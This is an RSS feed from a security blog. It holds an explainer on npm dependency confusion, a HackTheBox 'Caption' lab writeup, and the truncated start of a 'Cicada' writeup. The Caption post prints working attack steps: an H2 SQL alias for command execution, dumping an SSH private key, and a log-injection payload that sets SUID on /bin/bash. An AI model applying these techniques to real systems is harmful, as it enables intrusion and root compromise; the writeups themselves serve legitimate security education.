<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Cybersecurity Blog by Amal PK – Ethical Hacking, Pentesting, Bug Bounty, CTFs & InfoSec Tips]]></title><description><![CDATA[Cybersecurity blog by Amal PK covering ethical hacking, penetration testing, bug bounties, web application security, CTFs, and hands-on InfoSec tips.]]></description><link>https://blog.amalpk.in</link><generator>RSS for Node</generator><lastBuildDate>Thu, 16 Apr 2026 21:04:16 GMT</lastBuildDate><atom:link href="https://blog.amalpk.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Dependency Confusion]]></title><description><![CDATA[We use dependencies in our code like we use electricity in our homes—quietly, constantly, and without thinking twice.
Whether you’re building a backend service in Go, wiring up a React frontend, or automating something with Python, you’re almost cert...]]></description><link>https://blog.amalpk.in/dependency-confusion</link><guid isPermaLink="true">https://blog.amalpk.in/dependency-confusion</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[dependencies]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Python]]></category><category><![CDATA[npm]]></category><category><![CDATA[supply chain]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Tue, 11 Nov 2025 05:23:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1762838574817/e978c628-07f3-439e-8aea-764a4c60e9e7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>We use <strong>dependencies</strong> in our code like we use electricity in our homes—quietly, constantly, and without thinking twice.</p>
<p>Whether you’re building a backend service in Go, wiring up a React frontend, or automating something with Python, you’re almost certainly relying on <strong>packages written by other people</strong>. They help us move faster, solve problems without reinventing the wheel, and get real work done. In fact, most modern projects depend on <strong>dozens or even hundreds</strong> of these libraries.</p>
<p>But here’s the part we often overlook:<br />Every time you install a dependency, you’re placing <strong>a huge amount of trust</strong> in it—and in wherever it came from.</p>
</blockquote>
<h2 id="heading-what-are-dependencies">What Are Dependencies?</h2>
<p>In simple terms, a <strong>dependency</strong> is just a piece of code your application needs to run. Instead of reinventing the wheel, developers rely on third-party libraries to handle common tasks:</p>
<ul>
<li><p>Need HTTP requests? <code>axios</code> or <code>requests</code> has you.</p>
</li>
<li><p>Parsing YAML? <code>pyyaml</code> or <code>go-yaml</code> to the rescue.</p>
</li>
<li><p>Generating UUIDs? Pick from dozens of tiny helpers across ecosystems.</p>
</li>
</ul>
<p>These are dependencies—and they're usually managed through something called a <strong>package manager</strong>, which automates fetching, versioning, and updating them.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">❓</div>
<div data-node-type="callout-text">But where are all these packages coming from?</div>
</div>

<h2 id="heading-package-registries-and-how-they-work">Package Registries and How They Work</h2>
<p>Package registries are public hubs where developers can publish and share code libraries—often called packages. These registries rely heavily on <strong>community contributions</strong>, meaning anyone can create an account and upload their own package.</p>
<p>Once a package is published under a specific name, that name becomes <strong>locked to the account</strong> that created it. No one else can upload a different package using that exact name, which helps prevent accidental conflicts or overwrites.</p>
<p>Below is a table summarizing the package registries for various programming languages:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Language</strong></td><td><strong>Package Manager</strong></td><td><strong>Registry URL</strong></td></tr>
</thead>
<tbody>
<tr>
<td>Node.js</td><td>npm</td><td>https://registry.npmjs.org</td></tr>
<tr>
<td>Python</td><td>pip</td><td>https://pypi.org</td></tr>
<tr>
<td>Golang</td><td>go mod</td><td>https://proxy.golang.org</td></tr>
<tr>
<td>Rust</td><td>cargo</td><td>https://crates.io</td></tr>
</tbody>
</table>
</div><blockquote>
<p><em>While most developers rely on official registries like npm, PyPI, or</em> <a target="_blank" href="http://crates.io"><em>crates.io</em></a><em>, it’s important to understand that packages don’t always have to come from these sources. Developers can also use private registries, internal mirrors, or even local file-based packages, especially in enterprise environments where code control is critical.</em></p>
</blockquote>
<h3 id="heading-security-and-the-hidden-gap">Security and the Hidden Gap</h3>
<p>To protect users, many package registries implement <strong>automated security measures</strong>. For example, new packages may be scanned in sandboxes, checked for known malware patterns, or flagged if they mimic popular packages. These steps are meant to reduce the chances of malicious code slipping through.</p>
<p><strong><em>But here’s the catch</em></strong>**:**<br />There’s a major security loophole in how package names are managed.</p>
<p>If a maintainer decides to remove a package or unpublish all of its versions, the name essentially becomes up for grabs again. That means anyone including a malicious actor can register that same package name and publish a new version under their control.</p>
<p>And just like that, what used to be a safe, trusted dependency can become a trojan horse, silently reintroduced into projects that never updated their package sources.</p>
<h3 id="heading-declaring-dependencies">Declaring Dependencies</h3>
<h3 id="heading-python-requirementstxt">Python – <code>requirements.txt</code></h3>
<p>In Python, the most common way to declare dependencies is through a <code>requirements.txt</code> file. This file lists each required package, along with version constraints that define what can (or cannot) be installed:</p>
<pre><code class="lang-plaintext">txtCopyEditflask==1.1.2     # Install exactly version 1.1.2
requests&gt;=2.24.0            # Install version 2.24.0 or newer
numpy&lt;=1.19.5               # Install version 1.19.5 or older
pandas                      # Install the latest available version
</code></pre>
<p>This file is then consumed by pip using:</p>
<pre><code class="lang-bash">pip install -r requirements.txt
</code></pre>
<p>For development environments, teams often maintain a separate <code>requirements-dev.txt</code> file that includes tools for testing, linting, or documentation:</p>
<pre><code class="lang-plaintext">pytest==6.2.4
flake8
sphinx
</code></pre>
<p>This separation of runtime and development dependencies helps ensure clean production deployments.</p>
<hr />
<h3 id="heading-nodejs-packagejson">🟦 Node.js – <code>package.json</code></h3>
<p>Node.js manages its dependencies through a structured JSON file named <code>package.json</code>. It defines both runtime and development dependencies, as well as versioning and metadata:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"test-app"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"dependencies"</span>: {
    <span class="hljs-attr">"express"</span>: <span class="hljs-string">"^4.17.1"</span>,      <span class="hljs-comment">// Matches any 4.x.x version</span>
    <span class="hljs-attr">"mongoose"</span>: <span class="hljs-string">"5.12.3"</span>       <span class="hljs-comment">// Locks to a specific version</span>
  },
  <span class="hljs-attr">"devDependencies"</span>: {
    <span class="hljs-attr">"jest"</span>: <span class="hljs-string">"^29.0.0"</span>          <span class="hljs-comment">// Development-only packages</span>
  }
}
</code></pre>
<p>Dependencies are installed using:</p>
<pre><code class="lang-bash">npm install
</code></pre>
<p>Node.js also supports alternative sources:</p>
<ul>
<li><p><strong>Remote Git repositories:</strong></p>
<pre><code class="lang-json">  <span class="hljs-string">"my-lib"</span>: <span class="hljs-string">"git+https://github.com/username/my-lib.git"</span>
</code></pre>
</li>
<li><p><strong>Local packages (e.g., for monorepos):</strong></p>
<pre><code class="lang-json">  <span class="hljs-string">"my-local-lib"</span>: <span class="hljs-string">"file:../libs/my-local-lib"</span>
</code></pre>
</li>
</ul>
<p>In larger projects, NPM can also use <strong>workspaces</strong> to manage multiple packages locally. This is specified like so:</p>
<pre><code class="lang-json"><span class="hljs-string">"workspaces"</span>: {
  <span class="hljs-attr">"packages"</span>: [<span class="hljs-string">"packages/*"</span>]
}
</code></pre>
<p>This configuration tells NPM to look for packages in local directories first - before attempting to fetch them from the public registry.</p>
<blockquote>
<p>These configuration files serve as the <strong>entry point for dependency resolution</strong>—which means they are also the first place an attacker may try to exploit weaknesses in the supply chain.</p>
</blockquote>
<h2 id="heading-understanding-the-nodejs-dependency-installation-process">Understanding the Node.js Dependency Installation Process</h2>
<p>In Node.js, dependency management is centered around the <code>package.json</code> file, which acts as the manifest for a project. This file outlines the packages required for the application to run and defines supporting metadata such as scripts, entry points, and versioning. Understanding how NPM interprets and installs dependencies is essential to recognizing how misconfigurations can introduce serious vulnerabilities.</p>
<p>Below is an example <code>package.json</code> file with various types of dependencies:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"super-project"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"node index.js"</span>
  },
  <span class="hljs-attr">"dependencies"</span>: {
    <span class="hljs-attr">"express"</span>: <span class="hljs-string">"^4.17.1"</span>,
    <span class="hljs-attr">"mongoose"</span>: <span class="hljs-string">"^5.11.15"</span>,
    <span class="hljs-attr">"local-package"</span>: <span class="hljs-string">"file:../local-package"</span>,
    <span class="hljs-attr">"http-package"</span>: <span class="hljs-string">"http://example.com/path/to/package.tgz"</span>,
    <span class="hljs-attr">"github-package"</span>: <span class="hljs-string">"github:user/package"</span>,
    <span class="hljs-attr">"github-package-with-branch"</span>: <span class="hljs-string">"github:user/package#master"</span>,
    <span class="hljs-attr">"github-package-with-tag"</span>: <span class="hljs-string">"github:user/package#v1.0.0"</span>,
    <span class="hljs-attr">"github-package-with-commit"</span>: <span class="hljs-string">"github:user/package#239ea65..."</span>
  },
  <span class="hljs-attr">"devDependencies"</span>: {
    <span class="hljs-attr">"nodemon"</span>: <span class="hljs-string">"^2.0.7"</span>
  }
}
</code></pre>
<p>Parsing the Manifest</p>
<p>The installation process begins with NPM parsing the <code>package.json</code> file to identify all declared dependencies. These are categorized into <code>dependencies</code>, which are essential for the application in production, and <code>devDependencies</code>, which are needed only during development, such as testing tools or linters.</p>
<p>Referencing the Lock File</p>
<p>Once the dependency list is assembled, NPM checks for the presence of a <code>package-lock.json</code> file. This file is crucial for ensuring deterministic builds by locking the exact version of each dependency and all of its transitive dependencies. It also helps verify the integrity of installed packages by including cryptographic hashes of previously retrieved versions, thereby offering a basic level of tamper protection.</p>
<p>Local Cache Optimization</p>
<p>Before reaching out to external sources, NPM checks the local cache for any previously downloaded packages. If a required version is found locally, NPM uses it directly. This not only speeds up installation but also reduces exposure to potential supply chain threats by avoiding unnecessary remote fetches.</p>
<p>Source Resolution Hierarchy</p>
<p>Dependencies in <code>package.json</code> can be sourced in multiple ways, and NPM follows a specific order to resolve them:</p>
<ol>
<li><p><strong>Local Path</strong></p>
<pre><code class="lang-json"> <span class="hljs-string">"local-package"</span>: <span class="hljs-string">"file:../local-package"</span>
</code></pre>
<p> Pulled directly from the specified local file system path.</p>
</li>
<li><p><strong>Remote URL (Tarball)</strong></p>
<pre><code class="lang-json"> <span class="hljs-string">"http-package"</span>: <span class="hljs-string">"http://example.com/path/to/package.tgz"</span>
</code></pre>
<p> Retrieved via HTTP as a <code>.tgz</code> archive.</p>
</li>
<li><p><strong>GitHub Repository</strong></p>
<pre><code class="lang-json"> <span class="hljs-string">"github-package"</span>: <span class="hljs-string">"github:user/package"</span>
 <span class="hljs-string">"github-package-with-branch"</span>: <span class="hljs-string">"github:user/package#master"</span>
 <span class="hljs-string">"github-package-with-tag"</span>: <span class="hljs-string">"github:user/package#v1.0.0"</span>
 <span class="hljs-string">"github-package-with-commit"</span>: <span class="hljs-string">"github:user/package#&lt;commit-sha&gt;"</span>
</code></pre>
<p> Pulled from a specific GitHub repository, optionally pinned to a branch, tag, or commit hash.</p>
</li>
<li><p><strong>Public NPM Registry</strong></p>
<pre><code class="lang-json"> <span class="hljs-string">"express"</span>: <span class="hljs-string">"^4.17.1"</span>
</code></pre>
<p> Fetched from the default public registry at <a target="_blank" href="https://registry.npmjs.org"><code>https://registry.npmjs.org</code></a>.</p>
</li>
</ol>
<p>If NPM fails to locate a dependency locally, via a remote URL, or through Git, it automatically falls back to searching the public NPM registry. While this behavior ensures installation continuity, it introduces a significant security risk when misconfigured.</p>
<p>In practice, fallback issues often arise when a <code>.npmrc</code> file—used to configure registry sources—is missing or incorrectly set up. Without this file, private packages may be inadvertently sourced from the public registry if a matching name exists. Additionally, minor typos or changes in internal package names can silently result in the wrong package being installed.</p>
<p>This default behavior creates an opportunity for attackers: by publishing a malicious package with a name that matches or closely resembles an internal dependency, they can exploit systems that mistakenly reach out to the public registry. This is the essence of a dependency confusion attack subtle, yet potentially severe.</p>
<h2 id="heading-example-of-a-dependency-confusion-attack-in-nodejs">Example of a Dependency Confusion Attack in Node.js</h2>
<p>The Setup</p>
<p>The project has the following <code>package.json</code> configuration:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"confusion-demo"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"A demo project for testing dependency resolution"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"node index.js"</span>
  },
  <span class="hljs-attr">"dependencies"</span>: {
    <span class="hljs-attr">"@acme/private-lib"</span>: <span class="hljs-string">"^1.0.0"</span>,
    <span class="hljs-attr">"lodash"</span>: <span class="hljs-string">"^4.17.21"</span>
  },
  <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Tech Team"</span>,
  <span class="hljs-attr">"license"</span>: <span class="hljs-string">"MIT"</span>
}
</code></pre>
<p>This configuration includes:</p>
<ul>
<li><p><code>lodash</code>, a widely-used public package available on npm.</p>
</li>
<li><p><code>@acme/private-lib</code>, a presumed internal package scoped under the <code>@acme</code> namespace.</p>
</li>
</ul>
<p>In a secure environment, this project also includes a <code>.npmrc</code> file that instructs NPM to resolve the <code>@acme</code> scope from a private registry:</p>
<pre><code class="lang-javascript">@acme:registry=https:<span class="hljs-comment">//registry.acme.corp/npm/</span>
</code></pre>
<p>As long as this configuration is in place, running <code>npm install</code> correctly resolves <code>@acme/private-lib</code> from the internal registry, while public packages like <code>lodash</code> are retrieved from the default npm registry.</p>
<h3 id="heading-misconfiguration-scenario">Misconfiguration Scenario</h3>
<p>Now imagine a scenario where the <code>.npmrc</code> file is unintentionally omitted—perhaps during containerization, CI pipeline setup, or an environment rebuild.</p>
<p>Without this registry mapping, NPM has no instructions to resolve the <code>@acme</code> scope from the private source. Instead, it reverts to the default behavior and attempts to fetch <strong>all dependencies</strong> from the public registry at <a target="_blank" href="https://registry.npmjs.org"><code>https://registry.npmjs.org</code></a>.</p>
<h3 id="heading-the-result">The result:</h3>
<ul>
<li><p><code>lodash</code> installs without issue.</p>
</li>
<li><p><code>@acme/private-lib</code> fails to resolve, and NPM returns a <code>404 Not Found</code> error:</p>
</li>
</ul>
<pre><code class="lang-javascript">npm ERR! <span class="hljs-number">404</span> Not Found - GET https:<span class="hljs-comment">//registry.npmjs.org/@acme%2fprivate-lib - Not found</span>
npm ERR! <span class="hljs-number">404</span> <span class="hljs-string">'@acme/private-lib@^1.0.0'</span> is not <span class="hljs-keyword">in</span> <span class="hljs-built_in">this</span> registry.
</code></pre>
<p>At this point, installation fails—but only because the package name is currently <em>unclaimed</em> on the public registry.</p>
<h3 id="heading-the-attack">The Attack</h3>
<p>An attacker monitoring common namespace patterns or private scope usage may detect that <code>@acme/private-lib</code> is unregistered publicly. Recognizing this gap, the attacker can <strong>publish a malicious package</strong> under the same name.</p>
<p>If the attacker pushes a crafted package to npm with the following command:</p>
<pre><code class="lang-bash">npm publish --access public
</code></pre>
<p>the malicious version of <code>@acme/private-lib</code> becomes publicly available.</p>
<p>Now, any environment that attempts to install dependencies <strong>without a correctly configured</strong> <code>.npmrc</code> will no longer encounter an error. Instead, NPM silently retrieves and installs the attacker's package from the public registry:</p>
<pre><code class="lang-javascript">added <span class="hljs-number">2</span> packages, and audited <span class="hljs-number">2</span> packages <span class="hljs-keyword">in</span> <span class="hljs-number">2</span>s
found <span class="hljs-number">0</span> vulnerabilities
</code></pre>
<p>From the user’s perspective, the install appears successful. But under the hood, the malicious version is now in use—completely replacing the expected internal library.</p>
<h3 id="heading-outcome-and-risk">Outcome and Risk</h3>
<p>This form of attack exploits the <strong>ambiguity in package resolution</strong>—specifically the fallback behavior to public registries when private mappings are missing or misconfigured.</p>
<p>Once installed, a malicious package could:</p>
<ul>
<li><p>Run arbitrary scripts during post-installation.</p>
</li>
<li><p>Steal secrets or tokens.</p>
</li>
<li><p>Introduce backdoors or additional malicious dependencies.</p>
</li>
<li><p>Exfiltrate environment variables or sensitive project data.</p>
</li>
</ul>
<p>Because these packages inherit the trusted namespace structure (<code>@acme</code>), many teams may not notice the compromise until it's too late—especially in automated environments or CI/CD pipelines.</p>
]]></content:encoded></item><item><title><![CDATA[Caption HackTheBox Writeup]]></title><description><![CDATA[Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a...]]></description><link>https://blog.amalpk.in/caption-hackthebox-writeup</link><guid isPermaLink="true">https://blog.amalpk.in/caption-hackthebox-writeup</guid><category><![CDATA[htb]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[Linux]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[GitHub]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Mon, 07 Jul 2025 07:46:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751874299314/e7931059-4a80-4aa2-99dc-47c70f319b94.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Caption is a Hard-difficulty Linux box, showcasing the chaining of niche vulnerabilities arising from different technologies such as HAProxy and Varnish. It begins with default credentials granting access to GitBucket, which exposes credentials for a web portal login through commits. The application caches a frequently visited page by an admin user, whose session can be hijacked by exploiting Web Cache Deception (WCD) via response poisoning exploited through a Cross-Site Scripting (XSS) payload. HAProxy controls can be bypassed by establishing an HTTP/2 cleartext tunnel, also known as an H2C Smuggling Attack, enabling the exploitation of a locally running service vulnerable to path traversal ([CVE-2023-37474](<a target="_blank" href="https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718">https://security.snyk.io/vuln/SNYK-PYTHON-COPYPARTY-5777718</a>)). A foothold is gained by reading the SSH ECDSA private key. Root privileges are obtained by exploiting a command injection vulnerability in the Apache Thrift service running as root.</p>
</blockquote>
<h3 id="heading-machine-info"><strong>Machine Info:</strong></h3>
<blockquote>
<p><strong><em>IP:</em></strong> <code>10.10.11.33</code><br /><strong>Difficulty</strong>: Hard<br /><strong>OS</strong>: Linux<br /><strong>Category</strong>:</p>
</blockquote>
<h2 id="heading-enumeration">Enumeration</h2>
<h3 id="heading-nmap-scan"><em>Nmap Scan</em></h3>
<pre><code class="lang-jsx">Nmap scan report <span class="hljs-keyword">for</span> caption.htb (<span class="hljs-number">10.10</span><span class="hljs-number">.11</span><span class="hljs-number">.33</span>)
Host is up (<span class="hljs-number">0.76</span>s latency).
Not shown: <span class="hljs-number">997</span> closed tcp ports (reset)
PORT     STATE SERVICE
<span class="hljs-number">22</span>/tcp   open  ssh
<span class="hljs-number">80</span>/tcp   open  http
<span class="hljs-number">8080</span>/tcp open  http-proxy
</code></pre>
<p>The initial enumeration of <em>caption.htb</em> reveals three open ports:</p>
<ul>
<li><p><em>22/tcp</em> - SSH</p>
</li>
<li><p><em>80/tcp</em> - HTTP (Caption Portal Login)</p>
</li>
<li><p><em>8080/tcp</em> - GitBucket (Web App)</p>
</li>
</ul>
<p>Navigating to <code>http://caption.htb:8080</code> displays the GitBucket login interface.</p>
<h3 id="heading-gitbucket-exploit"><em>GitBucket Exploit</em></h3>
<ul>
<li><em>Credentials</em>: root:root (Defailt creds for gitbucket)</li>
</ul>
<p>Once logged in, you find a commit disclosing a password for the user "margo":</p>
<ul>
<li><p><em>User</em>: <code>margo</code></p>
</li>
<li><p><em>Password</em>: <code>vFr&amp;cS2#0!</code></p>
</li>
</ul>
<p>You also discover an <em>H2 database</em> viewer at:</p>
<ul>
<li><a target="_blank" href="http://caption.htb:8080/admin/dbviewer">http://caption.htb:8080/admin/dbviewer</a></li>
</ul>
<h2 id="heading-command-execution-via-h2-database">Command Execution via H2 Database</h2>
<p>H2 allows defining custom Java methods via SQL aliases. A remote command execution alias is created</p>
<pre><code class="lang-sql"><span class="hljs-keyword">CREATE</span> <span class="hljs-keyword">ALIAS</span> SHELLEXEC <span class="hljs-keyword">AS</span> $$
<span class="hljs-keyword">String</span> shellexec(<span class="hljs-keyword">String</span> cmd) throws java.io.IOException {
java.util.Scanner s = <span class="hljs-keyword">new</span> java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(<span class="hljs-string">"\\\\A"</span>);
return s.hasNext() ? s.next() : "";
}
$$;
</code></pre>
<p>Executing commands:</p>
<pre><code class="lang-sql"><span class="hljs-keyword">CALL</span> SHELLEXEC(<span class="hljs-string">'id'</span>);
</code></pre>
<p>Returns:</p>
<pre><code class="lang-bash">uid=1000(margo) gid=1000(margo) groups=1000(margo)
</code></pre>
<p>We can also dump the <em>SSH private key</em> of the user "margo":</p>
<pre><code class="lang-sql"><span class="hljs-keyword">CALL</span> SHELLEXEC(<span class="hljs-string">'cat /home/margo/.ssh/id_ecdsa'</span>);
</code></pre>
<h3 id="heading-ssh-access"><em>SSH Access</em></h3>
<p>Extract the private key, save it, and adjust permissions:</p>
<pre><code class="lang-bash">cat &lt;&lt;EOF &gt; id_ecdsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQSANe5kEY+DN1xSvPtTZVur+DWGq94h1gSFMvzv5iec
YwuC7ymT7QWZM+42IIVZQ5GqkIE5uLHyqtVKytQu5aCLAAAAoACUCKoAlAiqAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIA17mQRj4M3XFK8+1NlW6v4NYar3iHWBIUy/O/m
J5xjC4LvKZPtBZkz7jYghVlDkaqQgTm4sfKq1UrK1C7loIsAAAAhAOZNLY0cYdeM6shGDro9tude
7oBNK+hIIh0AmL8JK+ShAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
EOF
</code></pre>
<p>Save and chmod the key locally:</p>
<pre><code class="lang-powershell">chmod <span class="hljs-number">600</span> id_ecdsa
ssh <span class="hljs-literal">-i</span> id_ecdsa margo@caption.htb
</code></pre>
<h2 id="heading-internal-enumeration-amp-port-forwarding">Internal Enumeration &amp; Port Forwarding</h2>
<p>To enumerate internal services, set up port forwarding to access internal services:</p>
<pre><code class="lang-bash">ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
</code></pre>
<p>This reveals a Thrift-based service running locally.</p>
<h2 id="heading-privilege-escalation-log-parser-exploitation">Privilege Escalation: Log Parser Exploitation</h2>
<p>To escalate privileges, we can exploit log parsing to run a payload.</p>
<p><em>Step 1: Create Malicious Log File</em></p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'127.0.0.1 "user-agent":"'</span>; /bin/bash /tmp/payload.sh <span class="hljs-comment">#' &gt; /tmp/malicious.log</span>
</code></pre>
<p><em>Step 2: Create Payload Script</em></p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">'chmod +s /bin/bash'</span> &gt; /tmp/payload.sh
</code></pre>
<pre><code class="lang-bash">pip download thrift
</code></pre>
<pre><code class="lang-bash">scp -i /home/kratos/HTB/Caption/id_ecdsa thrift-*.tar.gz margo@caption.htb:/tmp
thrift-0.20.0.tar.gz
</code></pre>
<h3 id="heading-thrift-client-setup"><em>Thrift Client Setup</em></h3>
<p>Create a <em>Thrift</em> file log_service.thrift:</p>
<pre><code class="lang-python">thrift
namespace go log_service

service LogService {
string ReadLogFile(<span class="hljs-number">1</span>: string filePath)
}
</code></pre>
<p>Generate the Thrift client:</p>
<pre><code class="lang-bash">thrift -r --gen py log_service.thrift
</code></pre>
<p>Create a Python client <a target="_blank" href="http://client.py/">client.py</a>:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> thrift <span class="hljs-keyword">import</span> Thrift
<span class="hljs-keyword">from</span> thrift.transport <span class="hljs-keyword">import</span> TSocket
<span class="hljs-keyword">from</span> thrift.transport <span class="hljs-keyword">import</span> TTransport
<span class="hljs-keyword">from</span> thrift.protocol <span class="hljs-keyword">import</span> TBinaryProtocol
<span class="hljs-keyword">from</span> log_service <span class="hljs-keyword">import</span> LogService

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    transport = TSocket.TSocket(<span class="hljs-string">'localhost'</span>, <span class="hljs-number">9090</span>)
    transport = TTransport.TBufferedTransport(transport)
    protocol = TBinaryProtocol.TBinaryProtocol(transport)
    client = LogService.Client(protocol)
    transport.open()

    <span class="hljs-keyword">try</span>:
        log_file_path = <span class="hljs-string">"/tmp/malicious.log"</span>
        response = client.ReadLogFile(log_file_path)
        print(<span class="hljs-string">"Server response:"</span>, response)
    <span class="hljs-keyword">except</span> Thrift.TException <span class="hljs-keyword">as</span> tx:
        print(<span class="hljs-string">f"Thrift exception: <span class="hljs-subst">{tx}</span>"</span>)
    transport.close()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    main()
</code></pre>
<p>Install Thrift and run the client:</p>
<pre><code class="lang-bash">pip3 install thrift
python3 [client.py](&lt;http://client.py/&gt;)
</code></pre>
<p><em>Output:</em></p>
<p><code>Server response: Log file processed</code></p>
<h3 id="heading-privilege-escalation"><em>Privilege Escalation</em></h3>
<p>After the malicious payload runs, verify the SUID bit on /bin/bash:</p>
<pre><code class="lang-bash">ls -l /bin/bash
/bin/bash -p
whoami
</code></pre>
<p>You are now root.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>The Caption box illustrates how default credentials, exposed development tools, and improper log parsing can lead to full system compromise. It starts with accessing GitBucket using factory credentials, leading to remote code execution via the H2 console. With a foothold as <code>margo</code>, the attacker leverages an insecure Thrift service to escalate privileges by crafting a malicious log file that executes commands with elevated permissions.</p>
]]></content:encoded></item><item><title><![CDATA[Cicada HackTheBox Writeup]]></title><description><![CDATA[Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, exec...]]></description><link>https://blog.amalpk.in/cicada-hackthebox-writeup</link><guid isPermaLink="true">https://blog.amalpk.in/cicada-hackthebox-writeup</guid><category><![CDATA[htb]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[ #ActiveDirectory ]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[Amal PK]]></dc:creator><pubDate>Mon, 07 Jul 2025 05:07:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751864660032/c4d1653e-8b9e-4592-895d-6617fde348db.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the <code>SeBackupPrivilege</code> to achieve full system compromise.</p>
</blockquote>
<h3 id="heading-machine-info">Machine Info:</h3>
<blockquote>
<p><strong>IP</strong>: <code>10.129.200.210</code><br /><strong>Difficulty</strong>: Medium<br /><strong>OS</strong>: Windows<br /><strong>Category</strong>: Active Directory / Windows Privilege Escalation</p>
</blockquote>
<h2 id="heading-enumeration">Enumeration</h2>
<h3 id="heading-open-ports">Open Ports</h3>
<pre><code class="lang-bash">Open 10.129.200.210:53
Open 10.129.200.210:88
Open 10.129.200.210:135
Open 10.129.200.210:139
Open 10.129.200.210:389
Open 10.129.200.210:445
Open 10.129.200.210:464
Open 10.129.200.210:636
Open 10.129.200.210:3268
Open 10.129.200.210:3269
Open 10.129.200.210:5985
</code></pre>
<h3 id="heading-nmap-scan">Nmap Scan</h3>
<pre><code class="lang-bash">PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-09-29 14:09:11Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::&lt;unsupported&gt;, DNS:CICADA-DC.cicada.htb
| Issuer: commonName=CICADA-DC-CA/domainComponent=cicada
| Public Key <span class="hljs-built_in">type</span>: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-08-22T20:24:16
| Not valid after:  2025-08-22T20:24:16
| MD5:   9ec5:1a23:40ef:b5b8:3d2c:39d8:447d:db65
| SHA-1: 2c93:6d7b:cfd8:11b9:9f71:1a5a:155d:88d3:4a52:157a
| -----BEGIN CERTIFICATE-----
| MIIF4DCCBMigAwIBAgITHgAAAAOY38QFU4GSRAABAAAAAzANBgkqhkiG9w0BAQsF
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGY2ljYWRh
| MRUwEwYDVQQDEwxDSUNBREEtREMtQ0EwHhcNMjQwODIyMjAyNDE2WhcNMjUwODIy
| MjAyNDE2WjAfMR0wGwYDVQQDExRDSUNBREEtREMuY2ljYWRhLmh0YjCCASIwDQYJ
